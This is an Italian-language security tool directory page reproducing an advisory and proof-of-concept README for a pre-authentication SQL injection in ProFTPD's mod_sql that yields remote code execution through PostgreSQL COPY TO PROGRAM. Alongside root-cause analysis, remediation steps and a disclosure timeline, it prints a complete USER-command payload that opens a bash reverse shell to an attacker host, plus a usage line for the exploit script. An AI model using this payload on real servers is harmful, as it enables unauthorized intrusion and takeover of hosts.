Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42167-PoC — Pre-Auth RCE in ProFTPD tramite bypass di is_escaped_text() in mod_sql (CVE-2026-42167) | Kitploit
Strumenti/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

Pre-Auth RCE in ProFTPD tramite bypass di is_escaped_text() in mod_sql (CVE-2026-42167)

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42167 POC

Esecuzione di codice remoto pre-autenticazione in ProFTPD tramite SQL injection in mod_sql

Autore: Van Glenndon Enad

Scoperta originale: ZeroPath

Pubblicato: 1 maggio 2026

Gravità: Critica

Punteggio CVSS v3.1: 8.1

Vettore CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Punteggio CVSS v2: 7.6

Vettore CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)


Indice

  1. Sommario esecutivo
  2. Software interessato
  3. Descrizione della vulnerabilità
  4. Analisi della causa principale
  5. Prerequisiti
  6. Catena di sfruttamento
  7. Analisi del payload
  8. Prova di concetto
  9. Impatto
Rimedi
  • Riferimenti
  • Cronologia della divulgazione

  • Sommario esecutivo

    CVE-2026-42167 è una vulnerabilità critica di SQL injection pre-autenticazione nel modulo di estensione mod_sql di ProFTPD. Un difetto logico nella funzione is_escaped_text() consente a un attaccante non autenticato di bypassare l'escape dei caratteri SQL creando un comando USER il cui valore soddisfa un'euristica difettosa di "già sottoposto a escape". L'SQL iniettato viene passato direttamente al database backend tramite PQexec(), che supporta query impilate.

    Quando il ruolo del database ProFTPD è un superutente PostgreSQL — una configurazione errata comune nelle distribuzioni containerizzate — l'iniezione raggiunge la direttiva COPY TO PROGRAM di PostgreSQL, risultando in esecuzione di codice a livello di sistema operativo non autenticata come utente di sistema postgres. Non sono richieste credenziali, accesso precedente o interazione con l'utente.


    Software interessato

    ComponenteVersione
    ProFTPD≤ 1.3.9
    Modulomod_sql + mod_sql_postgres
    Versione corretta1.3.9a (rilasciata il 27 aprile 2026)
    BackendPostgreSQL (RCE); MySQL / SQLite (solo bypass dell'autenticazione)

    ProFTPD è un server FTP open source ampiamente distribuito. Secondo Shodan, su internet esistono oltre 160.000 istanze ProFTPD pubblicamente accessibili. Il modulo mod_sql è comunemente abilitato nei pannelli di controllo di hosting condiviso, tra cui cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.


    Descrizione della vulnerabilità

    Il modulo mod_sql di ProFTPD supporta l'autenticazione basata su SQL e la registrazione delle attività. Le stringhe di formato dei log possono includere variabili di sostituzione come %U (nome utente), %r (host remoto) e %m (comando FTP). Queste variabili vengono espanse in fase di esecuzione e inserite nelle query SQL eseguite contro il backend configurato.

    Una configurazione vulnerabile tipica:

    root@kitploit:~
    LoadModule mod_sql.c
    LoadModule mod_sql_postgres.c
    
    SQLEngine on
    SQLBackend postgres
    SQLAuthTypes Plaintext
    SQLConnectInfo dbname@localhost dbuser dbpassword
    SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
    SQLLog * log_activity
    SQLLog ERR_* log_activity
    

    In questa configurazione, il valore fornito nel comando FTP USER viene sostituito per %U e incluso direttamente in un'istruzione SQL INSERT. Prima dell'inserimento, il valore viene passato attraverso is_escaped_text() per determinare se necessita di escape. Questa funzione contiene un difetto logico critico.


    Analisi della causa principale

    La funzione difettosa is_escaped_text()

    Situata in contrib/mod_sql.c, la funzione applica la seguente euristica per decidere se una stringa è "già sottoposta a escape":

    root@kitploit:~
    static int is_escaped_text(const char *s) {
      size_t slen = strlen(s);
    
      /* Assume the string is escaped if:
       *   1. It starts with a single quote
       *   2. It ends with a single quote
       *   3. It contains no internal single quotes
       */
      if (slen >= 2 &&
          s[0] == '\'' &&
          s[slen - 1] == '\'' &&
          strchr(s + 1, '\'') == (s + slen - 1)) {
        return TRUE;  /* skip escaping */
      }
      return FALSE;
    }
    

    Quando questa funzione restituisce TRUE, sql_resolved_append_text() (riga 777) inserisce il valore grezzo, senza escape, direttamente nella stringa della query. Il valore viene quindi eseguito da PQexec() in contrib/mod_sql_postgres.c (riga 1146), che supporta query impilate (multi-istruzione).

    Perché l'euristica fallisce

    L'euristica era probabilmente intesa a rilevare stringhe già racchiuse da delimitatori di stringa SQL. Tuttavia, non tenta di verificare che il contenuto interno sia sicuro — controlla solo che non siano presenti virgolette singole aggiuntive. Ciò significa che qualsiasi payload che:

    • Inizia con '
    • Termina con '
    • Non utilizza virgolette singole internamente (ad esempio, utilizza la quotazione con dollaro $$ di PostgreSQL)

    ...supererà il controllo e verrà iniettato letteralmente nella query SQL.

    Flusso dell'iniezione

    root@kitploit:~
    FTP Client                ProFTPD                  PostgreSQL
        │                         │                         │
        │── USER '<payload>'  ──▶ │                         │
        │                         │ expand %U = '<payload>' │
        │                         │ is_escaped_text() = TRUE│
        │                         │ skip escaping           │
        │                         │── INSERT INTO activity  │
        │                         │   VALUES ('<payload>',  │
        │                         │   ...) ──────────────▶  │
        │                         │                         │ execute stacked SQL
        │                         │                         │ COPY TO PROGRAM
        │                         │                         │── shell command ──▶ OS
    

    Prerequisiti

    RequisitoNote
    mod_sql abilitato con registrazione SQLDeve registrare una variabile pre-autenticazione come %U
    Backend PostgreSQLRichiesto per RCE tramite COPY TO PROGRAM; MySQL/SQLite consentono comunque il bypass dell'autenticazione
    Il ruolo del database è superutente PostgreSQLCOPY TO PROGRAM è limitato ai superutenti o ai membri di pg_execute_server_program
    bash disponibile sull'host del databaseRichiesto per la consegna della reverse shell tramite /dev/tcp
    Raggiungibilità di reteIl container PostgreSQL deve poter raggiungere l'attaccante sulla porta del listener

    La condizione di superutente è spesso soddisfatta nelle distribuzioni containerizzate in cui l'utente del database ProFTPD viene creato tramite POSTGRES_USER=... nell'immagine Docker ufficiale di PostgreSQL, o quando un amministratore concede al ruolo ProFTPD la proprietà del database.


    Catena di sfruttamento

    root@kitploit:~
    Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
            │
            ▼
    Step 2: ProFTPD expands %U with attacker-controlled value
            │
            ▼
    Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
            │
            ▼
    Step 4: PQexec() executes stacked query against PostgreSQL
            │
            ▼
    Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
            │
            ▼
    Step 6: Reverse shell / file exfiltration delivered to attacker
    

    Analisi del payload

    Il payload dell'iniezione viene consegnato tramite il comando FTP USER:

    root@kitploit:~
    USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
    

    Verifica della condizione di bypass

    CondizioneSoddisfatta?Motivo
    Inizia con '✅Il primo carattere è '
    Termina con '✅L'ultimo carattere è '
    Nessuna virgoletta singola interna✅Le stringhe interne utilizzano la quotazione con dollaro $$

    Suddivisione del payload

    SegmentoScopo
    ', null, null);Chiude correttamente l'istruzione INSERT originale
    COPY (SELECT $$x$$) TO PROGRAMQuery impilata che utilizza COPY TO PROGRAM di PostgreSQL
    $$bash -c ...$$Comando shell che utilizza la quotazione con dollaro $$ per evitare le virgolette singole
    ; --'Termina la query impilata; --' commenta il resto e fornisce la ' di chiusura per il bypass

    Prova di concetto

    Avvertenza: Questo PoC è fornito esclusivamente a scopo educativo e per test autorizzati. Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta.

    Esempio di utilizzo:

    root@kitploit:~
    python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
    

    Impatto

    CategoriaDescrizione
    RiservatezzaAccesso completo in lettura al filesystem come utente OS postgres
    IntegritàCapacità di scrivere file, modificare i contenuti del database, installare backdoor
    DisponibilitàPossibile interruzione del servizio e distruzione dei dati
    AutenticazioneSfruttabile con zero credenziali in fase di pre-autenticazione
    AmbitoSi estende oltre ProFTPD all'host PostgreSQL sottostante

    Qualsiasi sistema in cui ProFTPD è co-localizzato con un'istanza PostgreSQL o dispone di accesso superutente a essa è a rischio di compromissione completa dell'host. Il movimento laterale verso sistemi adiacenti e la persistenza tramite cron job o iniezione di chiavi SSH sono facilmente realizzabili dopo lo sfruttamento.


    Rimedi

    Azione immediata

    • Aggiornare ProFTPD alla versione 1.3.9a o successiva — la correzione modifica is_escaped_text() con una gestione adeguata delle query parametrizzate

    Se l'aggiornamento non è immediatamente possibile

    • Disabilitare completamente la registrazione basata su mod_sql (rimuovere le direttive SQLLog)
    • Rimuovere le variabili di registrazione pre-autenticazione (%U, %r, %m) dalle definizioni SQLNamedQuery

    Difesa in profondità

    • Assicurarsi che il ruolo del database ProFTPD non sia un superutente PostgreSQL (principio del privilegio minimo)
    • Limitare il ruolo del database al solo INSERT sulla tabella dei log e SELECT sulla tabella di autenticazione
    • Posizionare ProFTPD e PostgreSQL in segmenti di rete separati quando possibile
    • Monitorare i log FTP per comandi USER contenenti virgolette singole, COPY, PROGRAM o parole chiave SQL

    Cronologia della divulgazione

    DataEvento
    28 marzo 2026Vulnerabilità segnalata ai manutentori di ProFTPD
    7 aprile 2026Iniziata la verifica della patch
    24 aprile 2026Assegnato CVE-2026-42167
    27 aprile 2026Correzione committata; rilasciato ProFTPD 1.3.9a
    28 aprile 2026Pubblicato su NVD
    28–29 aprile 2026Repository PoC pubblici pubblicati su GitHub
    1 maggio 2026Pubblicati analisi indipendente e PoC semplificato

    Riferimenti

    • NVD — CVE-2026-42167
    • ZeroPath Research Blog — CVE-2026-42167 Auth Bypass and RCE in ProFTPD
    • ZeroPathAI — Official PoC Repository
    • dinosn — Independent Root Cause Analysis
    • ProFTPD Issue #2052 — SQL injection via mod_sql is_escaped_text
    • CVEFeed.io — CVE-2026-42167

    Disclaimer legale: Questa analisi e prova di concetto sono pubblicate strettamente a scopo educativo, di ricerca e di sicurezza difensiva. L'autore non approva l'accesso non autorizzato a sistemi informatici. Ottenere sempre esplicita autorizzazione scritta prima di condurre test di sicurezza su qualsiasi sistema di cui non si è proprietari.

    Scarica lo strumento